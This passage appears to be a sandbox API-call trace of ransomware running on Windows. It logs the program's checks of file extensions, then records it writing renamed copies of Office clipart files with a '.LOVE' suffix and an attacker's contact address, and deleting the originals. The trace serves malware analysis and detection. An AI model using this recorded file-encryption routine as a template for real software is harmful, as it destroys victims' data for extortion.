(lpString1=".doc", lpString2=".WMF") returned -1 [0208.436] lstrlenW (lpString=".docx") returned 5 [0208.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.436] lstrlenW (lpString=".pdf") returned 4 [0208.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.436] lstrlenW (lpString=".xls") returned 4 [0208.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.436] lstrlenW (lpString=".xlsx") returned 5 [0208.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.436] lstrlenW (lpString=".ppt") returned 4 [0208.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.436] lstrlenW (lpString=".zip") returned 4 [0208.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.436] lstrlenW (lpString=".rar") returned 4 [0208.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.436] lstrlenW (lpString=".bz2") returned 4 [0208.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.436] lstrlenW (lpString=".7z") returned 3 [0208.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.436] lstrlenW (lpString=".dbf") returned 4 [0208.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.436] lstrlenW (lpString=".1cd") returned 4 [0208.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.436] lstrlenW (lpString=".jpg") returned 4 [0208.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.437] lstrlenW (lpString=".doc") returned 4 [0208.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.437] lstrlenW (lpString=".docx") returned 5 [0208.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.437] lstrlenW (lpString=".pdf") returned 4 [0208.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.437] lstrlenW (lpString=".xls") returned 4 [0208.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.437] lstrlenW (lpString=".xlsx") returned 5 [0208.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.437] lstrlenW (lpString=".ppt") returned 4 [0208.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.437] lstrlenW (lpString=".zip") returned 4 [0208.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.437] lstrlenW (lpString=".rar") returned 4 [0208.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.437] lstrlenW (lpString=".bz2") returned 4 [0208.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.437] lstrlenW (lpString=".7z") returned 3 [0208.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.437] lstrlenW (lpString=".dbf") returned 4 [0208.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.437] lstrlenW (lpString=".1cd") returned 4 [0208.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.438] lstrlenW (lpString=".jpg") returned 4 [0208.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.438] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0208.438] lstrlenW (lpString="BL00148_.WMF") returned 12 [0208.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.442] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=1696) returned 1 [0208.442] CloseHandle (hObject=0x380) returned 1 [0208.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0208.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.443] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.443] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.446] GetLastError () returned 0x0 [0208.446] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x6a0, lpOverlapped=0x0) returned 1 [0208.466] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x6b0, lpOverlapped=0x0) returned 1 [0208.467] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.467] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.467] SetEndOfFile (hFile=0x2f0) returned 1 [0208.467] CloseHandle (hObject=0x2f0) returned 1 [0208.468] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.468] SetEndOfFile (hFile=0x380) returned 1 [0208.469] CloseHandle (hObject=0x380) returned 1 [0208.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0208.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.470] lstrlenW (lpString=".doc") returned 4 [0208.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.470] lstrlenW (lpString=".docx") returned 5 [0208.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.470] lstrlenW (lpString=".pdf") returned 4 [0208.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.470] lstrlenW (lpString=".xls") returned 4 [0208.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.470] lstrlenW (lpString=".xlsx") returned 5 [0208.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.470] lstrlenW (lpString=".ppt") returned 4 [0208.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.470] lstrlenW (lpString=".zip") returned 4 [0208.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.471] lstrlenW (lpString=".rar") returned 4 [0208.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.471] lstrlenW (lpString=".bz2") returned 4 [0208.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.471] lstrlenW (lpString=".7z") returned 3 [0208.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.471] lstrlenW (lpString=".dbf") returned 4 [0208.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.471] lstrlenW (lpString=".1cd") returned 4 [0208.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.471] lstrlenW (lpString=".jpg") returned 4 [0208.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.471] lstrlenW (lpString=".doc") returned 4 [0208.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.471] lstrlenW (lpString=".docx") returned 5 [0208.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.471] lstrlenW (lpString=".pdf") returned 4 [0208.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.471] lstrlenW (lpString=".xls") returned 4 [0208.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.471] lstrlenW (lpString=".xlsx") returned 5 [0208.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.471] lstrlenW (lpString=".ppt") returned 4 [0208.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.472] lstrlenW (lpString=".zip") returned 4 [0208.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.472] lstrlenW (lpString=".rar") returned 4 [0208.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.472] lstrlenW (lpString=".bz2") returned 4 [0208.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.472] lstrlenW (lpString=".7z") returned 3 [0208.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.472] lstrlenW (lpString=".dbf") returned 4 [0208.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.472] lstrlenW (lpString=".1cd") returned 4 [0208.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0208.472] lstrlenW (lpString=".jpg") returned 4 [0208.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.472] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0208.472] lstrlenW (lpString="BL00234_.WMF") returned 12 [0208.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.478] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=9304) returned 1 [0208.478] CloseHandle (hObject=0x2f0) returned 1 [0208.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0208.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.478] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.478] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.480] GetLastError () returned 0x0 [0208.480] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x2458, lpOverlapped=0x0) returned 1 [0208.495] WriteFile (in: hFile=0x374, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x2460, lpOverlapped=0x0) returned 1 [0208.497] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.497] WriteFile (in: hFile=0x374, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.497] SetEndOfFile (hFile=0x374) returned 1 [0208.497] CloseHandle (hObject=0x374) returned 1 [0208.498] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.498] SetEndOfFile (hFile=0x2f0) returned 1 [0208.499] CloseHandle (hObject=0x2f0) returned 1 [0208.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0208.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.500] lstrlenW (lpString=".doc") returned 4 [0208.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.500] lstrlenW (lpString=".docx") returned 5 [0208.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.500] lstrlenW (lpString=".pdf") returned 4 [0208.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.500] lstrlenW (lpString=".xls") returned 4 [0208.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.500] lstrlenW (lpString=".xlsx") returned 5 [0208.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.500] lstrlenW (lpString=".ppt") returned 4 [0208.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.500] lstrlenW (lpString=".zip") returned 4 [0208.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.500] lstrlenW (lpString=".rar") returned 4 [0208.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.500] lstrlenW (lpString=".bz2") returned 4 [0208.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.500] lstrlenW (lpString=".7z") returned 3 [0208.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.500] lstrlenW (lpString=".dbf") returned 4 [0208.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.500] lstrlenW (lpString=".1cd") returned 4 [0208.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.501] lstrlenW (lpString=".jpg") returned 4 [0208.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.501] lstrlenW (lpString=".doc") returned 4 [0208.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.501] lstrlenW (lpString=".docx") returned 5 [0208.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.501] lstrlenW (lpString=".pdf") returned 4 [0208.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.501] lstrlenW (lpString=".xls") returned 4 [0208.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.501] lstrlenW (lpString=".xlsx") returned 5 [0208.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.501] lstrlenW (lpString=".ppt") returned 4 [0208.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.501] lstrlenW (lpString=".zip") returned 4 [0208.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.501] lstrlenW (lpString=".rar") returned 4 [0208.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.501] lstrlenW (lpString=".bz2") returned 4 [0208.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.501] lstrlenW (lpString=".7z") returned 3 [0208.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.502] lstrlenW (lpString=".dbf") returned 4 [0208.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.502] lstrlenW (lpString=".1cd") returned 4 [0208.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0208.502] lstrlenW (lpString=".jpg") returned 4 [0208.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.502] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0208.502] lstrlenW (lpString="BL00248_.WMF") returned 12 [0208.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.502] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=1536) returned 1 [0208.503] CloseHandle (hObject=0x2f0) returned 1 [0208.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0208.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.503] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.503] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.503] GetLastError () returned 0x0 [0208.504] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x600, lpOverlapped=0x0) returned 1 [0208.537] WriteFile (in: hFile=0x374, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x610, lpOverlapped=0x0) returned 1 [0208.538] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.538] WriteFile (in: hFile=0x374, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.538] SetEndOfFile (hFile=0x374) returned 1 [0208.540] CloseHandle (hObject=0x374) returned 1 [0208.541] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.541] SetEndOfFile (hFile=0x2f0) returned 1 [0208.546] CloseHandle (hObject=0x2f0) returned 1 [0208.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0208.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.546] lstrlenW (lpString=".doc") returned 4 [0208.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.547] lstrlenW (lpString=".docx") returned 5 [0208.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.547] lstrlenW (lpString=".pdf") returned 4 [0208.547] lstrcmpiW 